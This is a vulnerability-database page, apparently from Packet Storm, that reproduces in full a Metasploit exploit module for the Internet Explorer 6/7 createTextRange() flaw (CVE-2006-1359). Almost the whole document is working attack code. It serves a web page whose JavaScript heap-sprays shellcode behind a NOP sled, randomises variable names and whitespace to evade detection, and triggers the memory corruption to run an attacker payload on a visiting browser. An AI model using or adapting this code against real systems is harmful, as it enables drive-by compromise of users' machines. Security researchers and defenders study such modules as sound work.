Internet Explorer createTextRange() Code Execution

2009-11-2600:00:00
H D Moore
packetstormsecurity.com
0.973 High
EPSS
Percentile
99.9%
JSON
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Internet Explorer createTextRange() Code Execution',  
'Description' => %q{  
This module exploits a code execution vulnerability in Microsoft Internet Explorer.  
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under   
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point  
to a very remote, non-existent memory location. This module is the result of merging three  
different exploit submissions and has only been reliably tested against Windows XP SP2.  
This vulnerability was independently discovered by multiple parties. The heap spray method  
used by this exploit was pioneered by Skylined.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[   
'Faithless <rhyskidd [at] gmail.com>',  
'Darkeagle <unl0ck.net>',  
'hdm',  
'<justfriends4n0w [at] yahoo.com>',  
'anonymous',  
],  
'Version' => '$Revision$',  
'References' =>   
[  
['CVE', '2006-1359'],  
['OSVDB', '24050'],  
['MSB', 'MS06-013'],  
['BID', '17196'],  
['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],  
['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],  
['URL', 'http://www.kb.cert.org/vuls/id/876678'],  
['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html'],  
['URL', 'http://www.shog9.com/crashIE.html'],  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],  
[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],  
  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 19 2006'))  
end  
  
def on_request_uri(cli, request)  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops  
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Generate a random XML namespace for VML  
xmlns = rand_text_alpha(rand(30)+2)  
  
# Randomize the javascript variable names   
rnd = rand(3)  
var_inputtype = ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))  
var_inp = "_"+rand_text_alpha(rand(6)+3)  
var_tmp = "_"+rand_text_alpha(rand(6)+3)  
var_payload = "_"+rand_text_alpha(rand(6)+3)  
var_nopslide = "_"+rand_text_alpha(rand(6)+3)  
var_slidesize = "_"+rand_text_alpha(rand(6)+3)  
var_fillblock = "_"+rand_text_alpha(rand(6)+3)  
var_memblock = "_"+rand_text_alpha(rand(6)+3)  
var_heap = "_"+rand_text_alpha(rand(6)+3)  
var_index = "_"+rand_text_alpha(rand(6)+3)  
var_maxIndex = "_"+rand_text_alpha(rand(6)+3)  
var_fillHeap = "_"+rand_text_alpha(rand(6)+3)  
var_start = "_"+rand_text_alpha(rand(6)+3)  
var_timer = "_"+rand_text_alpha(rand(6)+3)  
rnd = rand(2)  
var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""  
var_setInterval = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""  
  
# Build out the message  
content = %Q|  
<html >  
<head >  
<script language = "javascript" >  
var #{var_payload} = unescape("#{shellcode}") ;  
  
var #{var_nopslide} = unescape("#{nops}") ;  
var #{var_slidesize} = 20+#{var_payload}.length ;  
while (#{var_nopslide}.length<#{var_slidesize})  
{  
#{var_nopslide} += #{var_nopslide} ;  
}   
  
var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize}) ;  
var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize}) ;  
  
while(#{var_memblock}.length+#{var_slidesize} < 0x40000)  
{  
#{var_memblock} += #{var_fillblock} ;  
}   
  
var #{var_heap} = new Array() ;  
var #{var_index} = 0 ;  
var #{var_maxIndex} = 2020 ;  
  
function #{var_fillHeap}() {  
#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100) ;  
if (#{var_index}<#{var_maxIndex}) {  
#{var_heap}.push(#{var_memblock}+#{var_payload}) ;  
#{var_index}++ ;  
#{var_setTimeout}  
}  
else {  
#{var_timer}.innerHTML = 100 ;  
#{var_inp} = document.createElement("input") ;  
#{var_inp}.type = "#{var_inputtype}" ;  
#{var_tmp} = #{var_inp}.createTextRange() ;   
}  
}   
  
function #{var_start}() {  
#{var_setTimeout}#{var_setInterval}  
}  
</script >  
</head >  
<body onload = "#{var_start}()" >  
<span id = "#{var_timer}" > % </span >  
</body >  
</html >  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)   
end  
  
end  
`
0.973 High
EPSS
Percentile
99.9%
JSON
Related for PACKETSTORM:83089